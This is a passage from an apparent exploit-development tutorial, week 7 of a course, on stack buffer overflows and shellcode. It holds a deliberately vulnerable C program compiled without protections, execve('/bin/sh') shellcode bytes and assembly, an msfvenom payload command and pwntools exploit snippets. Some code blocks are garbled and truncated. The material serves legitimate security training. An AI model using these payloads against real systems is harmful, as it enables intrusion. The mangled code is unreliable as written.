6. Understand the structure of public exploits (Exploit-DB, Metasploit modules)

### This Week's Three Most Important Points
1. **Shellcode is position-independent assembly code that performs an action** (usually execve("/bin/sh"))
2. **NOP sleds improve exploit reliability** – give you a bigger "landing zone"
3. **Complete exploitation = vulnerability + payload + delivery mechanism**

---

### Daily Bite-Sized Plan (7 Days, 60-120 min/day)

**Day 1 (60 min):** Read about shellcode basics. Search "writing shellcode x86-64 tutorial". Understand: what is shellcode, why assembly, why position-independent.

**Day 2 (90 min):** Study the `execve()` syscall. Read the man page (`man 2 execve`). Understand: this is how you spawn /bin/sh from assembly. Watch a video on Linux syscalls.

**Day 3 (60 min):** Analyze pre-made shellcode. Search "shell-storm shellcode database" – look at Linux/x86-64 shellcode examples. Don't write your own yet – understand existing ones first.

**Day 4 (120 min):** Lab time: Exploit with pre-made shellcode (see below). This is your first REAL exploit.

**Day 5 (90 min):** Learn about bad characters and encoding. Why null bytes break exploits, how to avoid them.

**Day 6 (120 min):** Lab time: Debugging a failing exploit (intentional failure scenarios). Practice the debugging mindset.

**Day 7 (60 min):** Quiz, reflection. Document your exploit in a professional writeup format.

---

### Hands-On Lab 1: First Shell with Pre-Made Shellcode

**Objective:** Spawn a shell by exploiting a buffer overflow – your first complete exploit!

```bash
cd ~/exploitation-journey/week-07/
mkdir lab1-first-shell
cd lab1-first-shell

# Step 1: Create a vulnerable program
cat > vuln_shell.c 
#include 

void vulnerable_function(char *input) {
    char buffer[256];
    strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
    if (argc \n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}
EOF

# Step 2: Compile with NO protections AND executable stack
gcc -o vuln_shell vuln_shell.c -fno-stack-protector -z execstack -no-pie -O0 -g

# Step 3: Find the offset
gdb ./vuln_shell
(gdb) cyclic 400
(gdb) run [paste cyclic pattern]
# Let's say offset is 264 bytes

# Step 4: Get stack address (where our shellcode will be)
gdb ./vuln_shell
(gdb) break vulnerable_function
(gdb) run AAAA
(gdb) print $rsp
# Let's say: 0x7fffffffe0a0
# Our buffer starts around here
```

**Step 5: Craft the exploit with pwntools (finally install it!)**

```bash
pip3 install pwntools

cat > exploit.py  shellcode.bin << 'EOF'
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
EOF

# Disassemble it
echo -ne "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" | ndisasm -b64 -
```

**Output (annotated):**
```asm
00000000  4831F6            xor rsi,rsi           ; RSI = 0 (envp = NULL)
00000003  56                push rsi              ; Push NULL onto stack
00000004  48BF2F62696E2F2F  movabs rdi,0x68732f2f6e69622f  ; "/bin//sh" in hex
         -7368
0000000E  57                push rdi              ; Push "/bin//sh" onto stack
0000000F  54                push rsp              ; Push pointer to "/bin//sh"
00000010  5F                pop rdi               ; RDI = pointer to "/bin//sh"
00000011  B03B              mov al,0x3b           ; RAX = 59 (execve syscall number)
00000013  99                cdq                   ; RDX = 0 (envp = NULL)
00000014  0F05              syscall               ; Execute execve()
```

**What this does:**
1. Sets up arguments for `execve(const char *filename, char *const argv[], char *const envp[])`
   - RDI = "/bin//sh" (filename) – double slash is ignored by kernel
   - RSI = NULL (argv)
   - RDX = NULL (envp)
2. Calls syscall 59 (`execve`)
3. Result: spawns `/bin/sh`

**Why this technique (push string onto stack)?**
- Shellcode needs to be position-independent (works at any address)
- Can't hardcode data addresses
- Solution: build the string on the stack at runtime

**Memory aid:** "**S**etup **A**rgs, **C**all **S**yscall" (SACS)

---

**Try writing your own shellcode (advanced – optional):**

```asm
; save as shellcode.asm
BITS 64

; execve("/bin/sh", NULL, NULL)
xor rsi, rsi              ; argv = NULL
push rsi                  ; Push NULL terminator
mov rdi, 0x68732f6e69622f ; "/bin/sh" in hex (little-endian)
push rdi
mov rdi, rsp              ; RDI points to "/bin/sh"
xor rdx, rdx              ; envp = NULL
mov rax, 59               ; syscall number for execve
syscall
```

```bash
# Assemble with nasm
nasm -f bin shellcode.asm -o shellcode.bin

# Extract hex bytes
xxd -p shellcode.bin | tr -d '\n'

# Test in a C wrapper:
# (Insert hex bytes into a char array and execute)
```

**For this week, using pre-made shellcode is fine.** Writing custom shellcode is an advanced skill (Week 8 will cover it more).

---

### Hands-On Lab 3: Debugging a Failed Exploit

**Objective:** Practice the debugging workflow for when exploits fail (they always fail first).

**Common failure scenarios and how to fix them:**

#### Scenario 1: Wrong offset
```bash
# Symptom: Crashes with RIP = 0x4141414141414141 (our padding, not return address)
# Fix: Recalculate offset with cyclic pattern
gdb ./vuln_shell
(gdb) cyclic 400
(gdb) run [pattern]
(gdb) cyclic -l [RIP value]
```

#### Scenario 2: Wrong return address
```bash
# Symptom: Segfault, RIP = our intended address but crashes
# Debug:
gdb ./vuln_shell
(gdb) break *0x[your_return_address]  # Break at the address you're jumping to
(gdb) run $(cat payload)
# Does it break there? If not, address is wrong
# If yes, check what's at that address:
(gdb) x/20i $rip
# Is it your NOP sled/shellcode, or garbage?
```

#### Scenario 3: Shellcode not executing
```bash
# Symptom: Jumps to correct address, but crashes on "illegal instruction"
# Debug:
(gdb) x/20bx [shellcode_address]
# Is your shellcode there? Or is it corrupted?
# Common issue: null bytes in payload truncated by strcpy

# Fix: Use shellcode encoders (msfvenom can generate null-free shellcode):
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -b '\x00\x0a\x0d'
# -b specifies bad characters to avoid
```

#### Scenario 4: "This is a shell?" (spawns then exits immediately)
```bash
# Symptom: Shell spawns but immediately closes
# Reason: stdin is closed or EOF
# Fix for scripts: Use interactive mode in pwntools:

from pwn import *
p = process(['./vuln_shell', payload])
p.interactive()  # Keeps shell open
```

**Deliverable:** Create `debugging_checklist.md`:
```markdown
# Exploit Debugging Checklist

When my exploit fails, I check:
1. [] Offset correct? (Use cyclic to verify)
2. [] Return address correct? (Break in GDB at that address)
3. [] Shellcode intact? (x/20bx to inspect)
4. [] Bad characters? (null bytes, newlines)
5. [] Stack address stable? (ASLR disabled?)
6. [] Permissions? (NX disabled? Stack executable?)
```

---

### Tools for the Week

| Tool | Purpose | Installation/Usage |
|------|---------|---------------------|
| **pwntools** | Exploit development framework | `pip3 install pwntools` |
| **msfvenom** | Generate shellcode (Metasploit) | `sudo apt install metasploit-framework` |
| **ndisasm** | Disassemble shellcode | `sudo apt install nasm` |
| **xxd** | Hex dump viewer | (pre-installed) |

**Pwntools essentials:**
```python
from pwn import *

# Pack addresses (little-endian)
addr = p64(0x7fffffffe0a0)  # 64-bit
addr = p32(0xbffffc00)      # 32-bit

# Unpack
value = u64(b"\x00\x10\x20\x30\x40\x50\x60\x70")

# Interact with process
p = process('./vuln')
p = remote('target.com', 1337)  # For remote exploitation
p.sendline(payload)
p.interactive()  # Get interactive shell
```

---

### Sources for the Week

1. **(Beginner) "Shellcode Injection" – Computerphile**
   - YouTube search: "Computerphile shellcode"
   - Great visual explanation

2. **(Intermediate) "Writing Shellcode" – Exploit-DB**
   - Search: "exploit-db writing shellcode"
   - Step-by-step guide for x86-64

3. **(Reference) Shell-Storm Shellcode Database**
   - http://shell-storm.org/shellcode/
   - Thousands of shellcode examples for different architectures
   - **Essential for embedded:** Has ARM, MIPS, PowerPC shellcode

4. **(Beginner) "Pwntools Tutorial"**
   - Search: "pwntools tutorial getting started"
   - Official docs: docs.pwntools.com

5. **(Intermediate Article) "Exploit Development: NOP Sleds Explained"**
   - Search: "NOP sled exploit development"
   - Understand why NOP sleds improve reliability

---

### Weekly Quiz (5 Questions)

**Question 1:** What is shellcode?